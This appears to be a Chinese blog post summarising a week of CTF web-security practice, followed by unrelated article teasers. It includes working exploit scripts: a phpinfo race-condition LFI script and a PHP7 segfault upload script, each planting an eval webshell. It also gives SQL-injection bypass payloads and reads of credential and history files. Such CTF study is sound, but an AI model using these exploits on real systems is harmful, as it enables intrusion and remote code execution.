当前位置: 首页 > news >正文

2023 10月8日 至 10 月16日学习总结

1.做的题目

[RootersCTF2019]I_<3_Flask_双层小牛堡的博客-CSDN博客

[NCTF2019]SQLi regexp 盲注-CSDN博客

[网鼎杯 2018]Comment git泄露 / 恢复 二次注入 .DS_Store bash_history文件查看-CSDN博客

PHP LFI 利用临时文件Getshell_双层小牛堡的博客-CSDN博客

[NPUCTF2020]ezinclude 文件包含两大 getshell方式-CSDN博客

Bugku sql注入 基于布尔的SQL盲注 经典题where information过滤-CSDN博客

2.知识点

参数爆破

首先就是对网站进行基本的信息收集 但是备份,扫描,抓包

都没有效果的时候可以进行参数爆破

通过工具 arjun可以爆破

arjun -u url  -m GET  -c 100 -d 5这里是通过慢速 来实现爆破 100个一组 延迟时间为 5 

SQL正则盲注  regexp

sql题一般我先进行fuzz 然后进行测试注入

这里给出一个知识点

转义符 \ 构造闭合

select * from username = '\' and password = '';这里的 '\' 可以让 username 绕过 因为我们的注入点是在password上这里解释一下 转义符这里没有过滤 所以我们可以rang \' 变为'select * from username = '\' and password = '#'这个时候 字符串 ' and password  就被外面两个 ' 闭合了所以我们构造 ||1 就可以变为'\' and password = '||1#'这里大家直接去phpmyadmin尝试即可

绕过空格

/**/ 或者 %09

都可以

正则盲注

这里放出了正则和 ^

原理是

假设我的表名为adminselect * from username = '\' and password = ' || password regexp "^a"后面的 "^a"  是开头为 a 的就返回 true 所以我们可以进行盲注

这里还需要00截断后面的引号

但是我们盲注需要通过python 所以这里也介绍一下python的库

python库

首先是 string这里我们就不需要指定 37-128直接通过这个库就可以将可打印的字符输出

然后就是-00截断的库

from urllib import parse这个库是url编码a = parse.unquote('%00')这里就是post的url编码后的00截断

GIT泄露

首先通过扫描可以发现存在git泄露

然后通过工具实现

https://gitcode.net/mirrors/BugScanTeam/GitHack?utm_source=csdn_github_accelerator

然后发现存在的代码是出错的

这里就可以通过 .git文件来恢复数据

GIT数据恢复

首先查看日志git log -all然后通过指定就可以恢复成以前的代码git reset --hard 字符

二次注入的危险函数

addslashes 将输入转变为字符串 原封不动存入数据库

这里的注入闭合 文章里面写的比较详细了 大家去看就可以了

任意文件读取

做这个题的时候 知道任意文件读取是高危 但是确实不知道去看什么比较好

/proc/self/environ
/proc/self/cmdline/etc/passwd 查看存在的用户/home/用户/.bash_history 查看该用户的历史命令

 .DS_Store泄露

获取内容了 因为 .DS_Store 存在很多不可见字符

所以我们可以通过hex输出 然后通过瑞士军刀 解密 并且作为文件输出

然后通过工具Python-dsstore-master

来解密获取

PHP LFI getshell

这里确实学到了很多东西

这里的前提都是存在文件包含

存在phpinfo()

如果存在phpinfo界面 我们通过对phpinfo不断发送垃圾包 其中的内容中包含着木马

这个时候我们上传的临时文件就会保存在 临时文件目录下

并且通过linux和win的命名规则存储

我们只需要去包含 就会生成木马

这里只需要通过条件竞争即可

#!/usr/bin/python3
import sys
import threading
import socketdef setup(host, port):TAG = "安全测试"PAYLOAD = """%s\r
<?php file_put_contents('/tmp/shell', '<?=eval($_REQUEST[1])?>')?>\r""" % TAGREQ1_DATA = """-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOADpadding = "A" * 5000REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """ + padding + """\r
HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
HTTP_PRAGMA: """ + padding + """\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)# modify this to suit the LFI scriptLFIREQ = """GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""return (REQ1, TAG, LFIREQ)def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s2.connect((host, port))s.send(phpinforeq.encode())d = b""while len(d) < offset:d += s.recv(offset)try:i = d.index(b"[tmp_name] =&gt; ")fn = d[i + 17:i + 31]except ValueError:return Nones2.send((lfireq % (fn.decode(), host)).encode())d = s2.recv(4096)s.close()s2.close()if d.find(tag.encode()) != -1:return fn.decode()counter = 0class ThreadWorker(threading.Thread):def __init__(self, e, l, m, *args):threading.Thread.__init__(self)self.event = eself.lock = lself.maxattempts = mself.args = argsdef run(self):global counterwhile not self.event.is_set():with self.lock:if counter >= self.maxattempts:returncounter += 1try:x = phpInfoLFI(*self.args)if self.event.is_set():breakif x:print("\n成功!Shell已创建在 /tmp/shell")self.event.set()except socket.error:returndef getOffset(host, port, phpinforeq):"""获取php输出中tmp_name的偏移量"""s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s.send(phpinforeq.encode())d = b""while True:i = s.recv(4096)d += iif i == b"":break# detect the final chunkif i.endswith(b"0\r\n\r\n"):breaks.close()i = d.find(b"[tmp_name] =&gt; ")if i == -1:raise ValueError("在phpinfo输出中未找到php tmp_name")print("在位置 %i 找到 %s" % (i, d[i:i + 10].decode()))# 加一些填充return i + 256def main():print("LFI With PHPInfo()")print("-=" * 30)if len(sys.argv) < 2:print("用法:%s 主机 [端口] [线程数]" % sys.argv[0])sys.exit(1)try:host = socket.gethostbyname(sys.argv[1])except socket.error as e:print("主机名 %s 无效,请确保输入正确的主机名或IP地址。" % sys.argv[1])host = socket.gethostbyname(sys.argv[1])except socket.error as e:print("主机名 %s 无效,请确保输入正确的主机名或IP地址。" % sys.argv[1])sys.exit(1)port = int(sys.argv[2]) if len(sys.argv) > 2 else 80numthreads = int(sys.argv[3]) if len(sys.argv) > 3 else 10phpinforeq, tag, lfireq = setup(host, port)offset = getOffset(host, port, phpinforeq)print("\n[*] 开始进行LFI攻击...")threads = []e = threading.Event()l = threading.Lock()try:for i in range(numthreads):t = ThreadWorker(e, l, 100, host, port, phpinforeq, offset, lfireq, tag)threads.append(t)t.start()while not e.is_set():try:e.wait(1)except KeyboardInterrupt:print("\n[*] 收到中断信号,正在停止攻击...")e.set()except socket.error as e:print("连接错误:%s" % str(e))for t in threads:t.join()print("\n[*] 攻击结束。")if __name__ == "__main__":main()

大家还是读读上面代码 也能学到内容

PHP7 Segment Falut

首先是 php7 的一个漏洞

通过特定伪协议包含文件会发生段错误 这个时候上传的文件会保存在临时文件下 并且不会被删除php://filter/sring.strip_tags
存在dir类型的页面

我们只需要去包含里面的漏洞文件即可

不存在dir类型页面

通过爆破实现即可

下面是存在dir页面的时候的脚本

# -*- coding: utf-8 -*-
import re
import requests
from io import BytesIO# 定义漏洞URL和文件路径
vul_url = "http://localhost/index.php?file=php://filter/string.strip_tags/resource=C:/Windows/win.ini"
url2 = "http://localhost/dir.php"# 构建文件
files = {'file': BytesIO('<?php eval($_REQUEST[1]);?>')}# 发送漏洞利用请求
req = requests.post(url=vul_url, files=files, allow_redirects=False)
req2 = requests.get(url=url2)
# 获取临时文件名
content1 = re.search(r"php[a-zA-Z0-9]{1,}.tmp", req2.content).group(0)# 构建获取目录列表的URL
url3 = "http://localhost/index.php?file=C:/Windows/{}".format(content1)# 构建命令
data = {1: "system('dir');"
}# 发送获取目录列表的请求
req3 = requests.post(url=url3, data=data)# 输出结果
print u"目录列表:\n{}".format(req3.text)

SESSION LIF getshell

HAVE SESSION

一样 需要存在文件包含漏洞

这里是通过session 用户会话getshell

首先我们发送存在session的包的时候 会在session存储位置保存着session文件

取名是为 sess_输入

Cookie: PHPSESSID=输入

一般处理会话 要么是通过 原始输入 要么就是通过序列化输入

如果不对用户会话文件进行处理 那么我们只需要写入一句话即可

如果对用户会话进行base64加密 那么我们只需要 构造 4个字符一组的方式 解密即可

记住要过滤掉特殊字符

NO SESSION

当session没有开启的时候

我们可以通过php的特性 文件上传的时候

传递

session.upload_progress.name:<?php phpinfo();?>这个内容是可控的 并且原本文件上传就存在 如果还发送一次 就开启session 并且存入临时文件

 这里的流程图为

文件上传 --->设置session -----> 传递session.upload_progress.name 造成session开启 存入内容

这里去看原本的文章更加详细

SQL过滤许多的盲注

这道题确实过滤了巨多东西

这里的知识点

方法一

select substr('flag',1)---->flagselect substr('flag',2)---->lag然后我们只需要两次substr 并且倒装输出即可select reverse(substr('flag',1)) ---->galfselect substr(reverse(substr('flag',1)),4)----->fselect substr(reverse(substr('flag',1)),3)----->fl

然后盲注过滤了 = 号  我们可以通过 <> 不等号实现

1 <> 1 返回false1 <> 2 返回 true

因为过滤了查询列名和表名的系统库 所以这里直接通过 字典爆破即可

方法二

通过 减去 来实现

a'or((ascii(substr((select(password))from(1)))-48))--

这里也是因为 过滤了 = 号

这里也推荐大家去看上面文章 写的详细 这里只是简单的记录

3.不足

这些题 混在一起 我就有点没想到 git那种题目的确实很简单 但是确实也是没有想到

4.下一周计划

专心准备比赛

相关文章:

2023 10月8日 至 10 月16日学习总结

1.做的题目 [RootersCTF2019]I_&#xff1c;3_Flask_双层小牛堡的博客-CSDN博客 [NCTF2019]SQLi regexp 盲注-CSDN博客 [网鼎杯 2018]Comment git泄露 / 恢复 二次注入 .DS_Store bash_history文件查看-CSDN博客 PHP LFI 利用临时文件Getshell_双层小牛堡的博客-CSDN博客 …...

【Java 进阶篇】深入了解 Bootstrap 表格和菜单

表格和菜单是网页设计中的重要组成部分&#xff0c;它们用于展示数据、导航和用户交互。Bootstrap 是一个强大的前端框架&#xff0c;提供了丰富的表格样式和菜单组件&#xff0c;使开发者能够轻松创建功能丰富的网页。在本文中&#xff0c;我们将深入探讨 Bootstrap 中表格和菜…...

java的for循环中遇到异常抛出后继续循环执行

java的for循环中遇到异常抛出后继续循环执行 Test public void loopTryCatchTest() throws Exception {Map<String, Object> a new HashMap();a.put("a", "1");a.put("b", null);a.put("c", "3");for (Map.Entry<…...

【Javascript】构造函数之new的作用

目录 new的作用 把对象返回了回来 无new 有new 把构造函数的this指向了要返回的对象 无new​编辑 有new new的执行流程 new的作用 创建了新空对象将构造函数的作用域赋值给新对象(this指向新对象)执行构造函数代码 &#xff08;为这个新对象添加属性&#xff09;返回新对…...

粘包和半包问题及解决办法

粘包问题是指数据在传输时&#xff0c;在一条消息中读取到了另一条消息的部分数据&#xff0c;这种现象就叫做粘包。 半包问题是指数据在传输时&#xff0c;接收端只收到了部分数据&#xff0c;而非完整的数据&#xff0c;就叫做半包。 产生粘包和半包问题原因&#xff1a; …...

MySQL数据库查询实战操作

前置条件: 创建库:MySQL基本操作之创建数据库-CSDN博客 创建表:MySQL基本操作之创建数据表-CSDN博客 目录 常规查询常用函数union查询一、常规查询 1、查询所有姓名以 "张" 开头的学生: SELECT * FROM student WHERE name LIKE 张%; 这条语句使用 LIKE 运算…...

Elasticsearch 8.9 Master节点处理请求源码

大家看可以看ElasticSearch源码&#xff1a;Rest请求与Master节点处理流程&#xff08;1&#xff09; 这个图非常好&#xff0c;下午的讲解代码在各个类和方法之间流转&#xff0c;都体现这个图上 一、Master节点处理请求的逻辑1、节点(数据节点)要和主节点进行通讯&#xff0…...

Python---练习:while循环案例:猜数字

需求&#xff1a; 计算机从1 ~ 10之间随机生成一个数字&#xff0c;然后提示输入数字&#xff0c;如果我们输入的数字与随机数相等&#xff0c;则提示恭喜你&#xff0c;答对了。如果输入的数字比随机数大&#xff0c;则提示&#xff0c;猜大了。反之&#xff0c;则提示猜小了…...

CRM自动化意味着什么?企业如何从中受益?

客户关系管理&#xff08;CRM&#xff09;软件不再仅仅适用于大公司或销售周期长的行业&#xff0c;它越来越成为各种规模企业的重要工具。 在日常工作中&#xff0c;当你陷入流程的所有细节时&#xff0c;可能会产生不必要的工作。因此&#xff0c;如果你想要CRM提供的组织和…...

Python大数据之PySpark

PySpark入门 1、 Spark与PySpark 1、 Spark与PySpark...

网工记背命令(7)----静态路由(负载分担,主备备份)

1.静态路由负载分担 如图所示&#xff0c;属于不同网段的主机通过几台 Switch 相连&#xff0c;要求不配置动态路由协议&#xff0c;使不同网 段的任意两台主机之间能够互通&#xff0c;从拓扑图中可以看出&#xff0c;从 PCA 到 PCC 有两条路径可以过去&#xff0c;分别是 PC…...

error: unable to read askpass response from

报错信息 解决方法&#xff1a; 中文&#xff1a;文件-->设置-->版本控制-->Git-->勾选使用凭证帮助程序 英文&#xff1a;File -> Settings -> Version Control -> Git / Check "User credential Helper" 因为我的webstrom是中文版的&#…...

运行stable-diffusion-xl-refiner-1.0遇到version `GLIBCXX_3.4.29‘ not found的问题

一、问题背景 https://huggingface.co/stabilityai/stable-diffusion-xl-refiner-1.0 在运行示例程序时候遇到GLIBCXX_3.4.29‘ not found diffusers to > 0.18.0 import torch from diffusers import StableDiffusionXLImg2ImgPipeline from diffusers.utils import loa…...

Ubuntu - 安装 Elasticsearch(ES)

注意&#xff1a;以下步骤基于 Elasticsearch 7.x 版本。版本可能会随时间而变化&#xff0c;请查看 Elasticsearch 官方网站以获取最新的版本信息。 添加 Elasticsearch APT 仓库&#xff1a; 打开终端&#xff0c;并使用以下命令添加 Elasticsearch APT 仓库到系统&#xf…...

字节码进阶之java Instrumentation原理详解

文章目录 0. 前言1. 基础2. Java Instrumentation API使用示例 3. Java Agent4. 字节码操作库5. 实际应用6. 注意事项和最佳实践 0. 前言 Java Instrumentation是Java API的一部分&#xff0c;它允许开发人员在运行时修改类的字节码。使用此功能&#xff0c;可以实现许多高级操…...

Android 13.0 锁屏页面禁止下拉状态栏

1.概述 在13.0的系统产品定制化中,在默认的锁屏界面的时候原生系统是可以下拉状态栏的,但是定制的产品是需要禁用下拉状态栏的,所以需要在锁屏页面的时候禁用下拉状态栏,需要从两部分查看下拉状态栏流程然后禁用状态栏 接下来就来分析下看这个功能怎么实现 2.锁屏页面禁止…...

Windows10 Docker 安装教程

Docker Desktop是什么&#xff1f; Docker Desktop是适用于Windows的Docker桌面&#xff0c;是Docker设计用于在Windows 10上运行。它是一个本地 Windows 应用程序&#xff0c;为构建、交付和运行dockerized应用程序提供易于使用的开发环境。Docker Desktop for Windows 使用 …...

JWT认证

目录 前言 JWT组成部分 JWT工作原理 在Express中使用JWT 安装JWT相关的包 导入JWT相关的包 定义密钥 登录成功后调用jwt.sign()生成JWT字符串 将JWT字符串还原为JSON对象 捕获解析JWT失败后产生的错误 结尾 前言 Session 认证机制需要配合 Cookie 才能实现。由于 Co…...

【网络安全 --- xss-labs靶场通关(1-10关)】详细的xss-labs靶场通关思路及技巧讲解,让你对xss漏洞的理解更深刻

靶场安装&#xff1a; 靶场安装请参考以下博客&#xff0c;既详细有提供工具&#xff1a; 【网络安全 --- xss-labs靶场】xss-labs靶场安装详细教程&#xff0c;让你巩固对xss漏洞的理解及绕过技巧和方法&#xff08;提供资源&#xff09;-CSDN博客【网络安全 --- xss-labs通…...

Mathematics-Vocabulary·数学专业英语词汇

点击查看: Mathematics-Vocabulary数学专业英语词汇点击查看: Mathematics-Vocabulary-Offline数学专业英语词汇离线版本 Chinese-English translation英译汉The study of mathematics in English requires understanding the subject-specific vocabulary and terminology. Ma…...

日语AI面试高效通关秘籍:专业解读与青柚面试智能助攻

在如今就业市场竞争日益激烈的背景下&#xff0c;越来越多的求职者将目光投向了日本及中日双语岗位。但是&#xff0c;一场日语面试往往让许多人感到步履维艰。你是否也曾因为面试官抛出的“刁钻问题”而心生畏惧&#xff1f;面对生疏的日语交流环境&#xff0c;即便提前恶补了…...

大模型多显卡多服务器并行计算方法与实践指南

一、分布式训练概述 大规模语言模型的训练通常需要分布式计算技术,以解决单机资源不足的问题。分布式训练主要分为两种模式: 数据并行:将数据分片到不同设备,每个设备拥有完整的模型副本 模型并行:将模型分割到不同设备,每个设备处理部分模型计算 现代大模型训练通常结合…...

MySQL用户和授权

开放MySQL白名单 可以通过iptables-save命令确认对应客户端ip是否可以访问MySQL服务&#xff1a; test: # iptables-save | grep 3306 -A mp_srv_whitelist -s 172.16.14.102/32 -p tcp -m tcp --dport 3306 -j ACCEPT -A mp_srv_whitelist -s 172.16.4.16/32 -p tcp -m tcp -…...

在web-view 加载的本地及远程HTML中调用uniapp的API及网页和vue页面是如何通讯的?

uni-app 中 Web-view 与 Vue 页面的通讯机制详解 一、Web-view 简介 Web-view 是 uni-app 提供的一个重要组件&#xff0c;用于在原生应用中加载 HTML 页面&#xff1a; 支持加载本地 HTML 文件支持加载远程 HTML 页面实现 Web 与原生的双向通讯可用于嵌入第三方网页或 H5 应…...

Python 包管理器 uv 介绍

Python 包管理器 uv 全面介绍 uv 是由 Astral&#xff08;热门工具 Ruff 的开发者&#xff09;推出的下一代高性能 Python 包管理器和构建工具&#xff0c;用 Rust 编写。它旨在解决传统工具&#xff08;如 pip、virtualenv、pip-tools&#xff09;的性能瓶颈&#xff0c;同时…...

【网络安全】开源系统getshell漏洞挖掘

审计过程&#xff1a; 在入口文件admin/index.php中&#xff1a; 用户可以通过m,c,a等参数控制加载的文件和方法&#xff0c;在app/system/entrance.php中存在重点代码&#xff1a; 当M_TYPE system并且M_MODULE include时&#xff0c;会设置常量PATH_OWN_FILE为PATH_APP.M_T…...

代码规范和架构【立芯理论一】(2025.06.08)

1、代码规范的目标 代码简洁精炼、美观&#xff0c;可持续性好高效率高复用&#xff0c;可移植性好高内聚&#xff0c;低耦合没有冗余规范性&#xff0c;代码有规可循&#xff0c;可以看出自己当时的思考过程特殊排版&#xff0c;特殊语法&#xff0c;特殊指令&#xff0c;必须…...

MinIO Docker 部署:仅开放一个端口

MinIO Docker 部署:仅开放一个端口 在实际的服务器部署中,出于安全和管理的考虑,我们可能只能开放一个端口。MinIO 是一个高性能的对象存储服务,支持 Docker 部署,但默认情况下它需要两个端口:一个是 API 端口(用于存储和访问数据),另一个是控制台端口(用于管理界面…...

华为OD机试-最短木板长度-二分法(A卷,100分)

此题是一个最大化最小值的典型例题&#xff0c; 因为搜索范围是有界的&#xff0c;上界最大木板长度补充的全部木料长度&#xff0c;下界最小木板长度&#xff1b; 即left0,right10^6; 我们可以设置一个候选值x(mid)&#xff0c;将木板的长度全部都补充到x&#xff0c;如果成功…...

CppCon 2015 学习:Time Programming Fundamentals

Civil Time 公历时间 特点&#xff1a; 共 6 个字段&#xff1a; Year&#xff08;年&#xff09;Month&#xff08;月&#xff09;Day&#xff08;日&#xff09;Hour&#xff08;小时&#xff09;Minute&#xff08;分钟&#xff09;Second&#xff08;秒&#xff09; 表示…...